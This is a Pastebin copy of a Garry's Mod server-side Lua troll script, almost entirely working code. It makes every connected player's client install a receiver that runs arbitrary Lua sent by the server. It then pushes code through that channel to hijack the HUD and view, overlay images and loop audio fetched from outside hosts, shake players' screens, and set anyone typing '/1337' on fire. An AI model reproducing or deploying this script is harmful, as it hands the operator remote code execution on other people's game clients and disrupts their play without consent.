Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- util.AddNetworkString "skeleton_dancing_troll"
- local lol = {}
- function lol:RandomString( intMin, intMax )
- local ret = ""
- for _ = 1, math.random( intMin, intMax ) do
- ret = ret.. string.char( math.random(65, 90) )
- end
- return ret
- end
- lol.m_tblActions = {}
- lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
- lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
- function lol:PushAction( intChainDelay, func )
- self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
- end
- function lol:NextAction( pPlayer )
- pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
- if not self.m_tblActions[pPlayer.m_intCurAction] then return end
- timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
- if not IsValid( pPlayer ) then return end
- self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
- self:NextAction( pPlayer )
- end )
- end
- function lol:Start( pPlayer )
- pPlayer.m_intCurAction = 0
- self:NextAction( pPlayer )
- end
- function lol:SendLua( pPlayer, strLua )
- net.Start( "skeleton_dancing_troll" )
- net.WriteString( strLua )
- net.Send( pPlayer )
- end
- function lol:SetupPlayer( pPlayer )
- pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
- end
- for k, v in pairs( player.GetAll() ) do
- lol:SetupPlayer( v )
- timer.Simple( 2, function() lol:Start( v ) end )
- end
- hook.Add( "PlayerAuthed", "wat", function( pPlayer )
- lol:SetupPlayer( pPlayer )
- timer.Simple( 10, function() lol:Start( pPlayer ) end )
- end )
- hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
- if strText:sub( 1, 5 ) == "/1337" then
- pSender:Ignite( 1e9 )
- pSender:ChatPrint( "C O R R U P T I O N" )
- pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
- return false
- end
- end )
- --Sequence stack
- --Start some tunes and steam in our assets
- lol:PushAction( 0, function( pPlayer )
- lol:SendLua( pPlayer, ([=[
- local sounds = {}
- for i = 1, 4 do
- sound.PlayURL( "https://httpsinfamousvoice1com.000webhostapp.com/LoveMe.mp3", "noblock noplay", function( pChan )
- sounds[#sounds +1] = pChan
- end )
- end
- timer.Create( "asdf", 1, 0, function()
- if #sounds ~= 4 then return end
- timer.Destroy( "asdf" )
- for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
- end )
- g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
- local html = [[%s]]
- local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
- local pnl = vgui.Create( "HTML" )
- pnl:SetPos( ScrW() -1, ScrH() -1 )
- pnl:SetVisible( true )
- pnl:SetMouseInputEnabled( false )
- pnl:SetKeyBoardInputEnabled( false )
- pnl:SetSize( intSizeX, intSizeY )
- pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
- local PageLoaded
- PageLoaded = function()
- local mat = pnl:GetHTMLMaterial()
- if mat then
- g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
- return
- end
- timer.Simple( 0.5, PageLoaded )
- end
- PageLoaded()
- end
- LoadWebMaterial( "http://i.imgur.com/L1LZmek.png", "hud1", 800, 800 )
- LoadWebMaterial( "http://www.underdone.org/leak/underdone/xhair.png", "xhair", 64, 64 )
- LoadWebMaterial( "https://i.imgur.com/hwhGgPT.gif", "doritos", 800, 800 )
- LoadWebMaterial( "https://66.media.tumblr.com/5882c6c9333f86f0e89d025613ea1cde/tumblr_morqfbJ8WO1swgfzvo1_400.gif", "fedora", 400, 400 )
- LoadWebMaterial( "https://66.media.tumblr.com/5882c6c9333f86f0e89d025613ea1cde/tumblr_morqfbJ8WO1swgfzvo1_400.gif", "dew", 400, 400 )
- LoadWebMaterial( "https://66.media.tumblr.com/5882c6c9333f86f0e89d025613ea1cde/tumblr_morqfbJ8WO1swgfzvo1_400.gif", "awp", 400, 400 )
- ]=]):format(lol.m_strImageLoadHTML) )
- end )
- --HUD swap
- lol:PushAction( 36, function( pPlayer )
- lol:SendLua( pPlayer, [[
- (GAMEMODE or GM).CalcView = function() end
- (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
- local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
- for k, v in pairs(remove) do
- hook.GetTable()[v] = {}
- end
- local function GetWebMat( strURL )
- return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
- end
- hook.Add( "HUDPaint", "newhud", function()
- surface.SetDrawColor( 255, 255, 255, 255 )
- local disco = vgui.Create("DHTML") disco:SetSize(800,800) disco:SetPos(ScrW() /550 - 15, ScrH() /1.25) disco:OpenURL("http://i.imgur.com/L1LZmek.png")
- local disco2 = vgui.Create("DHTML") disco2:SetSize(450,450) disco:SetPos(200,0) disco:OpenURL("https://i.imgur.com/hwhGgPT.gif")
- local disco3 = vgui.Create("DHTML") disco3:SetSize(450,450) disco:SetPos(ScrW()-550,0) disco:OpenURL("https://i.imgur.com/hwhGgPT.gif")
- end )
- local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
- hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
- surface.PlaySound( "garrysmod/save_load4.wav" )
- ]] )
- end )
- --Disco time
- lol:PushAction( 15, function( pPlayer )
- local idx = pPlayer:EntIndex()
- timer.Create( "beat".. idx, 0.42, 0, function()
- if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
- pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
- end )
- lol:SendLua( pPlayer, [[
- local emitter = ParticleEmitter( LocalPlayer():GetPos() )
- local time = 0
- hook.Add( "Think", "wat", function()
- if CurTime() < time then
- return
- end
- time = CurTime() +0.05
- for i = 1, 16 do
- local part = emitter:Add(
- "particles/balloon_bit",
- LocalPlayer():GetPos() +Vector(
- math.random( -256, 256 ),
- math.random( -256, 256 ),
- 256
- )
- )
- if part then
- local Size = math.random( 4, 7 )
- part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
- part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
- part:SetDieTime( 4.5 )
- part:SetGravity( Vector(40, 0, -250) )
- part:SetLifeTime( 0 )
- part:SetStartSize( Size /2 )
- part:SetEndSize( Size )
- part:SetCollide( true )
- end
- end
- end )
- ]] )
- end )
Advertisement
Add Comment
Please, Sign In to add comment